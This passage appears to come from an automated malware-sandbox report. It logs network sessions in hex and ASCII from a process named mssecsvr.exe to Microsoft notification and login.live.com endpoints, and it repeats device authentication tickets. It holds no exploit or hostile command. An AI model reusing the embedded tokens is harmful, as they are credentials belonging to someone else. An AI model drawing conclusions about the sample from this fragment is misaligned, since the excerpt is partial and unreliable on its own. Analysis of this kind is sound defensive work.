2022-07-20 04:08:52 UTC	7226	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 63 31 66 63 34 32 32 37 33 30 36 31 62 38 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: 4c1fc42273061b8b<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:08:52 UTC	7227	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 63 31 66 63 34 32 32 37 33 30 36 31 62 38 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 4c1fc42273061b8b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 04:08:52 UTC	7228	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:08:52 UTC	7228	IN	Data Raw: 4d 53 2d 43 56 3a 20 2b 4a 73 34 45 79 32 54 6e 55 43 65 63 46 4d 31 4b 69 34 73 69 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: +Js4Ey2TnUCecFM1Ki4siA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.6	58681	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:09:22 UTC	7228	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 31 35 38 36 63 38 33 39 34 64 38 34 32 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: d51586c8394d8425
2022-07-20 04:09:22 UTC	7228	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:09:22 UTC	7228	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 31 35 38 36 63 38 33 39 34 64 38 34 32 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: d51586c8394d8425<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:09:22 UTC	7229	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 35 31 35 38 36 63 38 33 39 34 64 38 34 32 35 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: d51586c8394d8425
2022-07-20 04:09:22 UTC	7229	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:09:22 UTC	7229	IN	Data Raw: 4d 53 2d 43 56 3a 20 31 74 78 77 6c 5a 32 68 37 30 6d 44 67 61 58 4d 6b 37 44 58 44 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 1txwlZ2h70mDgaXMk7DXDg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.6	58985	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:09:26 UTC	7229	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 33 64 36 34 32 38 36 39 63 64 36 30 31 66 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 23d642869cd601ff
2022-07-20 04:09:26 UTC	7229	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:09:26 UTC	7229	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 33 64 36 34 32 38 36 39 63 64 36 30 31 66 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: 23d642869cd601ff<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:09:26 UTC	7230	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 33 64 36 34 32 38 36 39 63 64 36 30 31 66 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 23d642869cd601ff<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 04:09:26 UTC	7230	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:09:26 UTC	7230	IN	Data Raw: 4d 53 2d 43 56 3a 20 32 46 49 44 31 6b 74 45 42 30 2b 30 34 56 56 46 79 74 39 4b 51 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 2FID1ktEB0+04VVFyt9KQA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.6	65210	20.190.159.74	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:10:31 UTC	7231	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 04:10:31 UTC	7231	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 04:10:31 UTC	7251	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 04:09:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 72f45f4a-c094-4ccc-8338-c9559a77e8fc PPServer: PPV: 30 H: BL02PF629C81F9E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 04:10:31 GMT Connection: close Content-Length: 10109
2022-07-20 04:10:31 UTC	7251	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.6	65211	20.190.159.74	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:10:31 UTC	7235	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 04:10:31 UTC	7236	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 04:10:31 UTC	7240	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 04:09:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 174da6d2-be26-4274-b737-e067d37ce269 PPServer: PPV: 30 H: BL02PF3DAD18BF9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 04:10:31 GMT Connection: close Content-Length: 10109
2022-07-20 04:10:31 UTC	7241	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.6	65338	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:10:32 UTC	7261	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 34 37 65 65 30 33 63 37 33 31 65 36 65 31 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 247ee03c731e6e1e
2022-07-20 04:10:32 UTC	7261	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 04:10:32 UTC	7262	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 34 37 65 65 30 33 63 37 33 31 65 36 65 31 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 2b 4a 59 33 41 69 5a 32 61 62 6b 61 49 46 52 68 54 52 74 5a 6d 41 34 6e 73 4c 6a 76 30 58 67 6a 5a 2b 43 6c 70 43 6c 78 61 73 54 4c 39 2b 6b 4a 44 66 6e 41 53 6a 59 65 67 74 39 55 64 53 47 77 57 33 69 6b 66 49 6d 4b 34 39 49 6f 48 2f 7a 55 34 69 65 6b 49 36 4b 4b 2b 6f 34 53 4e 55 34 62 78 57 64 33 65 57 49 42 4a 58 35 4d 72 79 70 69 39 48 63 68 4e 2f 66 32 58 36 7a 78 77 69 33 48 56 6d 74 78 43 6d 62 Data Ascii: ATH 2 CON\DEVICE 1026Context: 247ee03c731e6e1e<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT+JY3AiZ2abkaIFRhTRtZmA4nsLjv0XgjZ+ClpClxasTL9+kJDfnASjYegt9UdSGwW3ikfImK49IoH/zU4iekI6KK+o4SNU4bxWd3eWIBJX5Mrypi9HchN/f2X6zxwi3HVmtxCmb
2022-07-20 04:10:32 UTC	7263	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 34 37 65 65 30 33 63 37 33 31 65 36 65 31 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 247ee03c731e6e1e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 04:10:32 UTC	7263	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 04:10:32 UTC	7263	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 52 4d 63 73 7a 72 68 47 6b 79 36 71 54 74 4e 32 62 45 66 63 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: mRMcszrhGky6qTtN2bEfcw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.6	65341	20.190.159.74	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:10:32 UTC	7263	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 04:10:32 UTC	7263	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
